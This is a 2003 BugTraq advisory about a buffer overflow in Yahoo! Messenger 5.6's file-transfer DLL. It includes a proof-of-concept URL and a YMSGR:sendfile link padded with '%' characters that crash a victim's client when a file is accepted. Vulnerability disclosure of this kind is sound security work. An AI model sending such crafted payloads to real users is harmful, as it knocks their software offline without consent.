BugTraq
Buffer Overflow in Yahoo messenger Client Oct 26 2003 08:35AM
Hat-Squad Security Team (service hat-squad com)


Date:

Oct 26, 2003

Title:

Buffer Overflow in Yahoo messenger Client

Vulnerable systems:

Yahoo! Messenger version 5.6.0.X

Summary:

Vulnerability in Yahoo Messenger File Transfer option allows a remote attacker to shut down the victim client.

Details:

The Yahoo messenger service filters some special characters in YahooID field like (x,&,?).When attacker initiates a file send

request to victimID%%%%%%%%%(more than 73 chars), the service filters % chars and prompts "victimID" for an incoming file

transfer session.If victim accepts the incoming file, his client will be shut down with access violation error. The access

violation accurse in FT.DLL that is responsible for p2p YM file transfers.

sample download URL that the attacker client sends to victim machine :

http://10.10.10.1:81/Messenger.victimid%25%25%25%25%25%25%25%25%25%25%25
%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25
%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25
%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25
%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25
%25%25%25%25%25%25%25%25%25%25.1066206307331File.txt?AppID=Messenger&Use
rID=victimid%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25
%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25
%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25
%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25
%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25
%25&K=lc9ly5954h9doeawsg31h9tgta6c7dtod8bqxrt2vykgw5e5j9dao0o9doeawsg31h
9t8vey6uq19

6y 14 53

Messenger.vicitimid%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%.106
6377306549File.TXT

the above url is encoded.

Example:

Use this link

YMSGR:sendfile?[victim_yahooID]+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&c%c:\[somefile]

while you are logged into YM(note that the length of victim_yahooID plus %(or ? or &) chars must be more than 73 chars.)

It will fire a YM file transfer window.if the victim accepts your file,his client will be closed.

Found by:

Pejman davarzany

pejman (at) hat-squad (dot) com [email concealed]

Hat-Squad Security Research Team (www.hat-squad.com)

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus